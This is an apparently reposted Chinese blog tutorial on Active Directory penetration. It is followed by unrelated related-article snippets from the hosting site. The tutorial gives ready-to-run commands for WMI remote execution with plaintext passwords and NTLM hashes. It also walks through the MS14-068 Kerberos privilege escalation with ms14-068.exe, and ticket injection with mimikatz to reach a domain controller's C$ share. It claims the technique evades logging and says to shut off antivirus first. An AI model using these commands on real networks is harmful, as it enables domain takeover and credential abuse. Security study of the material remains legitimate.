域渗透AD渗透攻击利用 MS14-068漏洞利用过程 以及域渗透中票据是什么 如何利用

目录

wmi协议远程执行

ptt票据传递使用

命令传递方式

明文口令传递 

hash口令传递

票据分类

kerberos认证的简述流程

PTT攻击的过程

MS14-068 漏洞

执行过程


wmi协议远程执行

  • wmi服务是比smb服务高级一些的,在日志中是找不到痕迹的,但是这个主要是传递的管理员用户凭据.
  • 域横向移动WMI服务利用 cscript、wmiexec、wmic.
  • WMI(Windows Management Instrumentation)是通过135端口进行利用支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹.

  • netstat -ano -p tcp 
  • 遇到这两个端口大概率就是windows系统哟
  • 域内主机执行以下命令 查看域控主机的相关信息类容
    • wmiexec
      • 套件impacket wmiexec明文或hash传递,有回显exe版本,可能被杀.
      • wmiexec.exe XIE0/administrator:"123@qq.com"@192.168.1.89 "whoami"
      • wmiexec.exe  都是一些python文件 只是生成了一些exe文件
      • 这个可以再github上查看pyton源码以及可执行文件.
        • 域hash传递命令
        • wmiexec.exe -hashes :3a3b8e860125a8a182550fe86e7f923f XIE0/administrator@192.168.1.89 "whoami"
    • cscript 有回显
      • 自带cscript明文传递,有回显,需要下载wmiexec.vbs配合,上传到对应域内磁盘文件夹下.
      • cscript //nologo wmiexec.vbs /shell 192.168.1.89 administrator "123@qq.com"
        • 来到域内主机
        • 执行完成后 窗口连接就指向了 域控主机了,但是如果域主机上有杀毒软件,那么就要退出杀毒,再执行. 
    • wmic 无回显
      • wmic /node:192.168.1.89 /user:administrator /password:"123@qq.com" process call create "cmd.exe /c ipconfig >C:\1.txt"
      • 再到域控主机上查看 c盘

ptt票据传递使用

  • 命令传递方式

    • 明文口令传递 
    • hash口令传递
    • 票据分类
      • 票据口令传递-[ptt pass the ticker]
        • 金票{黄金票据} 
        • 银票{白银票据}

涉及到kerberos认证流程 参考 文章哟 !域渗透协议 详解之 : Kerberos 看看就明白是什么玩意了-CSDN博客


  • kerberos认证的简述流程

    • 客户端需要向kdc授予票据 kdc: 秘钥分发中心 也就是可以理解成售票处
      • 黄金票据相当于伪造了一个售票处
    • 拿着授予的票据去访问服务端的服务
      • 伪造了需要访问的服务

PTT攻击的过程

MS14-068 漏洞
执行过程
  • github地址有兴趣可以自行研究一下:
  • https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
  • 漏洞的原理使用的SID的方式进行的
  • 这个漏洞是域提权漏洞,原理就和黄金票据相似,通过生成黄金票据,导入工具中,将一个普通权限的域用户获取域管的使用权限,从而达到控制整个域。

运用过程:

  • 该补丁没有打,猜测存在MS14-068漏洞
  • 收集域信息
    • net time #获取域管账号
    • net config workstation #获取域信息
    • nltest /dsgetdc:moonsec #获取域管信息
       
  1. 执行命令
  • ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
  • 查询sid
    • whoami /user
  • 上传攻击工具

  • 攻击命令
    • ms14-068.exe -u hack@xie.com -p 123@qq.com -s S-1-5-21-557645019-1356755253-2509318976-500 -d 192.168.1.89
    • 开始执行在win7域内主机上,执行完成后会创建一张TGT的预售票
      • 然后查看这张票下面有那些票。
    • klist 查看票
    • klist purge 清除票

    • 也可以使用 mimikatz.exe 相关命令来处理

    •  上传mimikatz.exe
    • 执行以下命令
    • kerberos::purge #清空票据
    • kerberos::ptc 123.ccache #导入票据
      • mimikatz.exe "kerberos::ptc 123.ccache" "exit"
      • 在域内主机中 查看域控主机c盘的内容
      • 执行net time 获取域控主机名称
        • AD
      •  查看域控主机c盘中含有什么类容
        • dir \\AD.xie.com\c$
    • kerberos::list #查看票据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/57563.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸿蒙中富文本编辑与展示

富文本在鸿蒙系统如何展示和编辑的?在文章开头我们提出这个疑问,带着疑问来阅读这篇文章。 富文本用途可以展示图文混排的内容,在日常App 中非常常见,比如微博的发布与展示,朋友圈的发布与展示,都在使用富文…

【树莓派 5B】anaconda换源 更换清华源

【树莓派 5B】anaconda换源 更换清华源 前言 本文基于树莓派5B上运行的 Raspberrypi-OS-64bit (Debian 12 Bookworm)平台,更换 Anaconda 官方源为清华大学镜像源,旨在解决网络连接超时、连接官方源失败、下载速度慢的问题。 参…

spring (Aop) day 1024

ok了家人们,继续学习spring ,这段知识点有点绕,建议搭配b站的视频去学,passion!!! 八.AOP-面向切面编程 8.1 动态代理 8.1.1 概述 什么是代理?在现实生活中,代理很常见…

Python多进程编程:使用`multiprocessing.Queue`进行进程间通信

Python多进程编程:使用multiprocessing.Queue进行进程间通信 1. 什么是multiprocessing.Queue?2. 为什么需要multiprocessing.Queue?3. 如何使用multiprocessing.Queue?3.1 基本用法3.2 队列的其他操作3.3 队列的阻塞与超时 4. 适…

学习虚幻C++开发日志——TSet

TSet 官方文档:虚幻引擎中的Set容器 | 虚幻引擎 5.5 文档 | Epic Developer Community (epicgames.com) TSet 是通过对元素求值的可覆盖函数,使用数据值本身作为键,而不是将数据值与独立的键相关联。 默认情况下,TSet 不支持重…

iOS 18.2开发者预览版 Beta 1版本发布,欧盟允许卸载应用商店

苹果今天为开发人员推送了iOS 18.2开发者预览版 Beta 1版本 更新(内部版本号:22C5109p),本次更新距离上次发布 Beta / RC 间隔 2 天。该版本仅适用于支持Apple Intelligence的设备,包括iPhone 15 Pro系列和iPhone 16系…

【设计模式系列】观察者模式

一、什么是观察者模式 观察者模式(Observer Pattern)是一种行为设计模式,它定义了对象之间的一对多依赖关系,当一个对象的状态发生变化时,所有依赖于它的对象都会得到通知并自动更新。这种模式也被称为发布-订阅模式&…

「重磅」中国电信数据湖+数据中台实施方案(附60页方案)

来源:公众号-数据分析小兵 作者按 哈喽,大家好,我是数据分析小兵,今天小兵向大家分享中国电信基于数据湖的数据中台实施方案。 方案核心内容一:数据湖的搭建与实施 数据湖是一套针对海量多源异构数据,具备数据采集、数据存储、数据计算、数据访问、数据管理的技术架构…

代码随想录:206. 反转链表

206. 反转链表 创建头结点,使用头插法,并用新的结点保存值插入里面。 空间复杂度O(n2) /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val…

1.CentOS安装

CentOS安装 新建虚拟机 选择安装方式 指定镜像方式 选择操作系统类型 设置虚拟机名称和位置 指定磁盘大小 点击“自定义硬件” 指定内存大小 指定镜像位置 点击“开启此虚拟机” 选择“Install CentOS 7”并回车 选择语言 选择安装“GNOME桌面”环境 配置安装位置 配置网络和…

springboot高校科研项目和课题管理平台-计算机毕业设计源码18198

摘要 随着科技的快速发展和高校科研水平的持续提高,科研项目和课题的管理逐渐变得复杂多样。传统的管理方式,如使用纸质文档或简单的电子表格进行记录,已经无法满足现代高校科研管理的需求。这不仅影响了科研工作的效率,还可能导致…

boost 字符串

5.1. 前言 在标准 C 中,用于处理字符串的是 std::string 类,它提供很多字符串操作,包括查找指定字符或子串的函数。 尽管 std::string 囊括了百余函数,是标准 C 中最为臃肿的类之一,然而却并不能满足很多开发者在日常…

CentOS 7(Linux)详细安装教程

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 一、CentOS镜像的下载(准备工作) 我选择的是其他镜像源的下载地址: Index of /centos-vault/7.6.1810/isos/x86_64/ | 南阳理工学院开源镜…

8个方法教会你提高企业培训效率

培训成本是企业中的一个复杂问题。它完全取决于课程内容、培训方法以及成本效益。在计算培训费用时,公司会面临许多关于包括哪些内容、如何进行以及假设情景的问题。 企业员工培训的每个方面都会产生自己的成本。例如: 地点:我们专门找个培训…

冒泡排序(Python)

冒泡排序:依次比较相邻的两个数,将大数放在后面,小数放在前面。 n个数排序共需进行n-1趟,第一趟排序结束时,最后一个元素为所有元素中的最大值。 冒泡排序的原理 1)比较相邻元素:如果第一个比…

Python异步编程:使用`asyncio`和`aiofiles`进行高效的文件批量写入

Python异步编程:使用asyncio和aiofiles进行高效的文件批量写入 1. 异步编程基础1.1 asyncio和await1.2 aiofiles 2. 异步文件批量写入示例2.1 代码结构2.2 代码实现2.3 代码解释2.3.1 BatchWriter类2.3.2 main函数 3. 其他示例代码3.1 简单的异步文件写入3.2 异步文…

婚纱相册必须去摄影店吗?其实自己会拍照就能实现,性价比更高

一直以来,婚纱照都是新人们婚礼筹备中不可或缺的部分。然而,高昂的摄影店价格让不少新人望而却步。其实,只要掌握一些拍照技巧,自己在家就能制作出独一无二的婚纱相册,不仅性价比超高,还能留下更多珍贵的回…

Android 中的串口开发

一:背景 本文着重讲安卓下的串口。 由于开源的Android在各种智能设备上的使用越来越多,如车载系统等。在我们的认识中,Android OS的物理接口一般只有usb host接口和耳机接口,但其实安卓支持各种各样的工业接口,如HDM…

条码检测系统——基于MATLAB的一维条码识别

摘 要:条码技术是如今应用最广泛的识别和输入技术之一,由于其包含的信息量大,识别错误率低而在各个方面得到很大的重视。它发展迅速并被广泛应用于于工业、商业、图书出版、医疗卫生等各行各业。由我国目前发展现状来看,条码的正…